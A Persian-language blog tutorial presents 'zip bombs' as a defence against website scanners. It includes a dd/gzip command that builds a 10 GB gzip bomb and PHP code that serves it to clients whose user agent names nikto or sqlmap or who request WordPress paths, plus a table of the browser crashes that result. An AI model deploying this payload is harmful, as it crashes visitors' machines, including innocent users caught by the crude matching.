پشتیبانی از وبسایت با استفاده از ZIP BOM ها

a1bc2cb0d14c article 190823 zip bomb body text - پشتیبانی از وبسایت با استفاده از ZIP BOM ها

با سلام خدمت کاربران عزیز وبسایت بزرگ دوباره سلام، امروز  با مقاله ای دفاعی  همراهتون هستیم پس ما رو همراهی کنید:

چطور با استفاده از zip bom  ها می توانیم از وبسایت پشتیبانی کنیم؟

از روش های قدیمی و کارآمد استفاده کنید

اگر تاکنون سرور یک سایت را مدیریت کرده باشید یا میزبان یک وبسایت، بوده اید این نکته را می دانید که کسانی وجود دارند که قصد صدمه رساندن به سایت شما را دارند.

من وقتی برای اولین بار، یک هاست لینوکس با دسترسی ssh  درست کردم، هرروز لاگ ها و ip  های مهاجم را بررسی می کردم، عموما از کشور های چین و روسیه بود.

در کل زمانی که به یک سرور لینوکس با ssh دسترسی دارید یعنی از بیرون سایت قابل دیده شدن است. شما باید آمار درخواست اتصال به سرورتان را بررسی کنید:

grep ‘authentication failures’ /var/log/auth.log

پس از وارد کردن دستور بالا، این خروجی ها را ببینید:

log1 768x266 1 - پشتیبانی از وبسایت با استفاده از ZIP BOM ها

اینطور که در عکس پیداست صدها لاگین ناموفق با اینکه این سرور احراز هویت با رمز عبور رو غیرفعال کرده اما روی یک پورت غیر استاندارد تنظیم شده اند.

گستردگی وردپرس

از آنجایی که اسکنر نقاط ضعف قبل از وردپرس وجود داشت، همچنین وردپرس در همه دنیا گسترده شده، اسکنرهای نقاط ضعف به تعدادی اسکن خاص فولدرهای wp-admin یا افزونه های patch نشده، تجهیز شده اند.

از این رو، اگر گروه هکرهای نوپا بخواهد اعتباری به دست آورند از یکی از همین اسکنرها دانلود کرده و اقدام به تست وب سایت ها برای دسترسی و دیفیس می کنند.

log2 768x357 1 - پشتیبانی از وبسایت با استفاده از ZIP BOM ها

 

به همین دلیل که تمامی ادمین های سرور یا سایت مجبورند با لاگ هایی در حدود گیگابایت سروکار داشته باشند که مملو از لاگین های ناموفق است، راهکار هایی را داریم، در ادامه به آن اشاره میکنیم .

 

راه های مقابله 

بعد از روش هایی مانند IDS و Fail2ban ما در وب سایت بزرگ دوباره سلام، روش قدیمی  ZIP BOM را به شما پیشنهاد می کنیم.

ZIP BOM چیست؟

به نظر می رسد که فشرده سازی از طریق زیپ برای داده های تکراری بسیار کارامد است، پس اگر شما فایلی با حجم بالا داشته باشید که داده های تکراری دارد که همه آنها صفر است، با این روش به بهترین نحو فشرده می شود.

فایل ۴۲/zip که مورد مثال ماست، روش زیپ می تواند ۴/۵ پتابایت به اندازه ۴۵۰۰۰۰۰ گیگابایت را در ۴۲ کیلوبایت فشرده کند. اگر بخواهید محتوای فایلی را که از حالت فشزده خارج شده است را ببینید با مشکل کمبود فضا مواجه خواهید شد.

چگونه می توانیم یک اسکنر ناقص را بمب گذاری کنیم؟

مرورگرهای وب روش zip را متاسفانه نمیفهمند ولی gzip برای آن قابل فهم است.

اولین مرحله باید یک فایل gzip 10 گیگابایتی حاوی ۰ ایجاد کنید. در این زمان ما میتوانیم فشرده سازی چند لایه هم داشته باشیم ولی ابتدا روس ساده را آموزش می دهیم:

dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip

result - پشتیبانی از وبسایت با استفاده از ZIP BOM ها

همانگونه که در عکس مشهود است، اندازه حدود ۱۰ مگابایت شده که می توانیم فشرده تر کنیم ولی فعلا تا همینجا کافیست.

حال بعد از ایجاد فایل، باید یک فایل php بسازیم و روی کلاینت ارسال کنیم.

<?php
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header(“Content-Encoding: gzip”);
header(“Content-Length: “.filesize(’10G.gzip’));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile(’10G.gzip’);

بعد می توانیم به صورت زیر یک تاکتیک دفاعی بسازیم:

<?php

$agent = filter_input(INPUT_SERVER, ‘HTTP_USER_AGENT’);

//check for nikto, sql map or “bad” subfolders which only exist on wordpress

if (strpos($agent, ‘nikto’) !== false || strpos($agent, ‘sqlmap’) !== false || startswith($url,’wp-‘) || startswith($url,’wordpress’) || startswith($url,’wp/’))

{

sendBomb();

exit();

}

function sendBomb(){

//prepare the client to recieve GZIP data. This will not be suspicious

//since most web servers use GZIP by default

header(“Content-Encoding: gzip”);

header(“Content-Length: “.filesize(’10G.gzip’));

//Turn off output buffering

if (ob_get_level()) ob_end_clean();

//send the gzipped file to the client

readfile(’10G.gzip’);

}

function startsWith($a, $b) {

return strpos($a, $b) === 0;

}

این اسکریپت نمی تواند همه مشکلات را حل کند، ولی با تغییر دادن  user agent این قابلیت را دارد تا در مقابل مهاجمین محافظت کند.

حال سوال پیش می آید که وقتی اسکریپت فراخوانی میشود چه اتفاقی می افتد؟

نتیجه مرورگر
IE 11 مصرف حافظه بشدت بالا می رود، IE هنگ میکند
Chrome مصرف حافظه بالا میرود و خطا میدهد
Edge مصرف حافظه بالا رفته و در موقع لود شدن گیر می کند
Nikto در اسکن مشکل وجود دارد که فقط ر خروجی مشخص می شود
SQLmap مصرف حافظه بالا رفته و باعث هنگ می شود
Safari مصرف حافظه بشدت بالا می رود بعد از آن هنگ کرده و بسته می شود دوباره بالا آمده، حافظه بالا رفته و کرش می کند
Chrome (Android) حافظه بالا رفته و خطا می دهد

 

در این مقاله پشتیبانی از وبسایت با استفاده از ZIP BOM ها را به شما کاربران عزیز و گرامی وب سایت بزرگ دوباره سلام آموزش  دادیم، امیدواریم مورد استفاده شما قرار گرفته باشد.

 

سوالی دارید؟ مشکلی براتون پیش اومده؟ می تونید تو بخش دیدگاه ها پایین همین پست از ما بپرسید تا تو اولین فرصت پاسخگوی شما عزیزان باشیم.

ممنون ازینکه همراه ما تو وب سایت بزرگ دوباره سلام  هستید

ارسال دیدگاه

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

*

code

توسط
تومان